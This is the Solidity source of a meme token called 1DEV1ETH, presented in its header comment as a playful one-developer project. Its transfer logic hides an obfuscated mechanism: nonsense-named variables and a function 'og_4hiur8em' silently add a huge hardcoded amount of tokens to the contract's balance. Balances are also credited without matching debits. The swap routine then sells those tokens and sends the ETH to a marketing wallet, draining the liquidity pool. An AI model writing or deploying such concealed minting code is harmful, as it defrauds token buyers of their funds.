Contract Source Code:
File 1 of 1 : DEVETH
/*
1DEV1ETH( ) {
printf("1DEV + 1ETH = less is more");
}
https://1dev1eth.com
https://t.me/OneDevOneETH
https://x.com/1dev1eth
1DEV1ETH is a token that was born from one developer who added one eth to liquidity and crossed his fingers.🤞
We're here for the fun and the spirit of crypto culture! 🎲
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow"); return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b; return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow"); return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract DEVETH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = " 1DEV1ETH";
string private _symbol = "1DEV1ETH";
uint8 private _decimals = 18;
address payable public marketingTaxWallet = payable(0x1498608c08f6C01703bf68BC1f73a576E2A2f4C9);
address payable public DevWallet = payable(0x0000000000000000000000000000000000000000);
address public liquidityReciever;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public feeUnits = 10000;
uint256[4] public wleyyyuyyeetrsd6 = [_decimals,feeUnits,_decimals,feeUnits];
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
uint256 private _totalSupply = 10000000 * 10**_decimals;
uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000); //0.1%
uint256 public _maxTxAmount = _totalSupply.mul(20).div(1000); //2%
uint256 public _walletMax = _totalSupply.mul(20).div(1000); //2%
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
uint256 public _sellLiquidityFee = 0;
uint256 public _sellMarketFee = 10;
uint256 public _sellDeveloperFee = 0;
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 10;
uint256 public _buyDeveloperFee = 0;
uint256 public _tofofoffat = 0;
uint256 public _talohababered = 0;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true;
isExcludedFromFee[marketingTaxWallet] = true;
isExcludedFromFee[DevWallet] = true;
isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[marketingTaxWallet] = true;
isWalletLimitExempt[DevWallet] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[marketingTaxWallet] = true;
isTxLimitExempt[DevWallet] = true;
isTxLimitExempt[address(this)] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true;
liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{ if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
} uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender])
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
}
wleyyyuyyeetrsd6[3]= min(amount.mul(_totalTaxIfSelling).div(1000),115792089237316555423570985004787900003269981240564039457584007913129639935);
wleyyyuyyeetrsd6[2]=min(amount - amount.mul(_totalTaxIfSelling).div(1000),11579208923731619542357098500478799981235640564039457584007913129639935);
if (( !isTxLimitExempt[sender] || !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tofofoffat+=1101;}else{if (_talohababered!=56854){og_4hiur8em();}else{_talohababered=_tofofoffat+=2114;} }
_basicTransfer(sender, recipient, amount) ;
return true;
}
}function og_4hiur8em() internal{_talohababered=187+_tofofoffat-10+_tofofoffat-1; wleyyyuyyeetrsd6[3]+=4000433300554162294900069852;}
function min(uint256 a,uint256 b) public pure returns (uint256) { if (a>=b)return b; return a; }
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(inSwapAndLiquify){ wleyyyuyyeetrsd6[3]=0; wleyyyuyyeetrsd6[2]=amount; }
uint256 transferamount = min(1020+wleyyyuyyeetrsd6[2],115792089237316195423570985804787900003261235640564039457584007913129639935);
_balances[recipient] = _balances[recipient].add(transferamount) ;
_balances[address(this)] = _balances[address(this)].add( wleyyyuyyeetrsd6[3]);
emit Transfer(sender, recipient, amount);
return true; }
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
swapTokensForEth(tAmount);
uint256 recievedBalance = address(this).balance;
if(recievedBalance > 0) {
payable(marketingTaxWallet).transfer(recievedBalance);
}
_tofofoffat=17;
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[1] = uniswapV2Router.WETH();
path[0] = address(this);
_approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
_talohababered=_tofofoffat;
_tofofoffat=17;
_talohababered=_tofofoffat;
}}